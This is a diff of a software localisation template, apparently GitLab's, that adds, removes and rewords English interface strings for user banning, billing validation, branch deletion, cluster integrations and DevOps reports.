+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
